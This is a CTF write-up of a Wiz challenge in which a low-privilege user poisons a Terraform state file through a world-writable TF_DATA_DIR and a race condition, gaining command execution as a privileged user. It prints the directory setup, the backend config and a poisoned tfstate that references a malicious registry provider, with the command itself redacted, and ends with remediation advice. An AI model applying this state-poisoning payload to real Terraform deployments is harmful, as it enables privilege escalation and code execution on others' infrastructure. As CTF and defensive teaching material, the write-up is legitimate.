Loading...

State of Affairs CTF: Terraform State Poisoning - Complete Technical Writeup

Challenge Overview

This writeup documents the complete analysis of the "State of Affairs" CTF challenge from the Wiz Cloud Security Championship. The challenge required exploiting a misconfigured Terraform deployment where TF_DATA_DIR pointed to a world-writable location (/tmp/.terraform). By winning a race condition to create the Terraform data directory before the cron job's first execution, we poisoned the state file to achieve remote code execution as the privileged tfuser.

Duration: 2 days

Challenge Description

You've gained access to a container running some infrastructure automation. A cron job executes Terraform every minute to keep certificates fresh.

The flag is stored in a privileged user's home directory - but you're just a regular user with no direct access.

Can you find a way to make Terraform work for you?

Hints Provided

  1. "Terraform state can reference providers from any registry namespace" - Pointed toward state file poisoning with malicious providers
  2. "Peek at the crontab in /var/tmp/crontab" - Revealed the scheduled Terraform execution and environment variables

Initial Environment

Property Value
Current User ctf (uid=101)
Target User tfuser
TF_DATA_DIR /tmp/.terraform (world-writable!)
Cron Schedule Every minute via supercronic
Flag Location /home/tfuser/flag (only readable by tfuser)

Phase 1: Initial Reconnaissance

Environment Analysis

$ whoami
ctf

$ id
uid=101(ctf) gid=102(ctf) groups=102(ctf)

$ env | grep TF
TF_DATA_DIR=/tmp/.terraform

$ ls -la /home/tfuser/
-r--------    1 tfuser   tfgroup   40 Dec 22 12:46 flag
-rw-------    1 tfuser   tfgroup 1251 Dec 22 12:45 main.tf

Key Observations

  • Running as unprivileged ctf user
  • TF_DATA_DIR points to /tmp/.terraform - a world-writable location!
  • Flag is only readable by tfuser
  • Cannot read main.tf to see the Terraform configuration
  • Cron uses supercronic to run terraform every minute

The Attack Surface

The hint about "providers from any registry namespace" pointed us toward Terraform state file poisoning - a technique where an attacker injects a fake resource referencing a malicious provider into the state file. When Terraform sees a resource in state but not in configuration, it attempts to destroy it, which requires downloading the provider and executing its destruction logic.

Phase 2: Research & Attack Vectors

Terraform State File Attack Research

Source Key Insight
Plerion Blog Original research on state file attacks
offensive-actions/statefile-rce Weaponized provider for RCE via state poisoning
HackTricks Cloud Terraform security attack patterns

The Malicious Provider Technique

The offensive-actions/statefile-rce provider is designed for exactly this attack:

  1. Inject a fake resource into the state file referencing the malicious provider
  2. Terraform sees the resource exists in state but not in config
  3. Terraform downloads the provider during init to destroy the resource
  4. The provider executes an arbitrary command from the state file's command attribute
  5. Provider self-cleans by removing itself from state after execution

Phase 3: Failed Attempts

Attempt 1: Direct State File Modification

Theory: Overwrite /tmp/terraform.tfstate with our poisoned version

$ cp poisoned_state.json /tmp/terraform.tfstate
cp: can't create '/tmp/terraform.tfstate': File exists

Result: FAILED - The sticky bit on /tmp prevents overwriting files owned by other users.

Attempt 2: Symlink Attack

Theory: Create symlinks to redirect terraform to our controlled files

$ mv /tmp/.terraform /tmp/.terraform.bak
mv: can't rename '/tmp/.terraform': Operation not permitted

Result: FAILED - Cannot manipulate directories owned by tfuser due to sticky bit.

Attempt 3: Provider Directory Poisoning

Theory: Inject a malicious provider binary into the providers directory

$ mkdir -p /tmp/.terraform/providers/registry.terraform.io/offensive-actions/
mkdir: can't create directory '/tmp/.terraform/providers': Permission denied

Result: FAILED - The /tmp/.terraform/ directory was already created and owned by tfuser.

Attempt 4: Environment Variable Injection

Theory: Set TF_CLI_CONFIG_FILE to use dev_overrides for provider hijacking

Result: FAILED - The cron job runs in its own environment - our shell variables don't affect it.

Attempt 5: Race Condition (First Try)

Theory: Create /tmp/.terraform/ before terraform's first run on a fresh container

Result: FAILED (timing) - We were too slow - terraform had already run and created the directory.

Phase 4: The Winning Strategy

The Race Condition (Perfected)

On a fresh container, the /tmp/.terraform/ directory doesn't exist yet. If we create it FIRST with the right structure, we control where Terraform reads its state from.

Critical Insight: The backend configuration hash must match the expected value for the local backend, or Terraform will reject our config.

The Payload Structure

The attack requires three components:

1. Create the .terraform directory structure

mkdir -p /tmp/.terraform/providers/registry.terraform.io/offensive-actions/statefile-rce/1.0.0/linux_amd64

2. Backend config pointing to our controlled state file

cat > /tmp/.terraform/terraform.tfstate << 'EOF'
{
  "version": 3,
  "terraform_version": "1.14.3",
  "backend": {
    "type": "local",
    "config": {
      "path": "/tmp/terraform.tfstate",
      "workspace_dir": null
    },
    "hash": [REDACTED]
  }
}
EOF

3. Poisoned main state file with RCE resource

cat > /tmp/terraform.tfstate << 'EOF'
{
  "version": 4,
  "terraform_version": "1.14.3",
  "serial": 1,
  "lineage": "pwned-1234",
  "outputs": {},
  "resources": [
    {
      "mode": "managed",
      "type": "rce",
      "name": "pwn",
      "provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
      "instances": [
        {
          "schema_version": 0,
          "attributes": {
            "command": "[COMMAND TO EXFILTRATE FLAG]",
            "id": "rce"
          },
          "sensitive_attributes": [],
          "private": "bnVsbA=="
        }
      ]
    }
  ]
}
EOF

4. Set proper permissions

chmod -R 777 /tmp/.terraform
chmod 666 /tmp/terraform.tfstate

Phase 5: Execution & Flag Capture

The Terraform Output

After deploying the payload on a fresh container, we waited for the cron job:

$ cat /var/tmp/tfoutput.log
rce.pwn: Refreshing state... [id=rce]

Terraform will perform the following actions:

  # rce.pwn will be destroyed
  # (because rce.pwn is not in configuration)
  - resource "rce" "pwn" {
      - command = "[REDACTED]" -> null
      - id      = "rce" -> null
    }

Plan: 4 to add, 0 to change, 1 to destroy.

rce.pwn: Destroying... [id=rce]
rce.pwn: Destruction complete after 0s

Apply complete! Resources: 4 added, 0 changed, 1 destroyed.

FLAG CAPTURED! The malicious provider executed our command during the "destroy" phase, exfiltrating the flag to a world-readable location.

Attack Flow Diagram

+------------------------------------------------------------------+
|                     FRESH CONTAINER                              |
+------------------------------------------------------------------+
                              |
                              v
+------------------------------------------------------------------+
|  [1] CTF user creates /tmp/.terraform/ FIRST                     |
|      - Backend config points to /tmp/terraform.tfstate           |
|      - Poisoned state references offensive-actions/statefile-rce |
+------------------------------------------------------------------+
                              |
                              v
+------------------------------------------------------------------+
|  [2] Cron triggers: terraform init                               |
|      - Reads our backend config                                  |
|      - Sees "rce.pwn" resource in state                          |
|      - Downloads offensive-actions/statefile-rce provider        |
+------------------------------------------------------------------+
                              |
                              v
+------------------------------------------------------------------+
|  [3] Cron triggers: terraform apply                              |
|      - Resource in state but not in config -> DESTROY            |
|      - Provider executes command from state file                 |
|      - Provider self-cleans from state                           |
+------------------------------------------------------------------+
                              |
                              v
+------------------------------------------------------------------+
|  [4] FLAG EXFILTRATED                                            |
|      Flag now readable by ctf user                               |
+------------------------------------------------------------------+

Tools Used

Tool Purpose
Bash Payload creation and monitoring
Web Research Attack technique research
ps, ls, cat Environment reconnaissance
stat File timestamp analysis for race condition verification

Key Insights & Lessons Learned

  1. TF_DATA_DIR in world-writable locations is dangerous - It allows attackers to control Terraform's backend configuration and state file location.
  2. Terraform Registry is open to anyone - The offensive-actions/statefile-rce provider is publicly available, demonstrating how supply chain attacks work.
  3. Race conditions matter - Being first to create shared directories can mean the difference between success and failure.
  4. Backend config hash validation exists but can be matched - Using the correct hash was essential for Terraform to accept our config.
  5. State files are security-critical - Write access to a Terraform state file effectively equals code execution.

Remediation Recommendations

For defenders encountering similar configurations:

1. Never use world-writable directories for TF_DATA_DIR

Use properly permissioned directories that only the Terraform execution principal can access.

2. Restrict state file access

Only the Terraform execution principal should have read/write access to state files.

3. Use provider lock files

Pin provider versions and verify checksums via .terraform.lock.hcl.

4. Enable state locking

Prevents concurrent modifications and some race conditions.

5. Consider remote backends

S3/GCS with proper IAM policies are more secure than local state files.

Conclusion

The "State of Affairs" challenge was an excellent demonstration of Terraform supply chain security risks. The combination of:

  • Misconfigured TF_DATA_DIR pointing to /tmp
  • The open nature of the Terraform Registry
  • State file poisoning techniques

...created a realistic attack scenario that mirrors real-world Terraform security vulnerabilities.

Challenge created by Pasha Resnianski as part of The Ultimate Cloud Security Championship by Wiz. Writeup completed: January 2026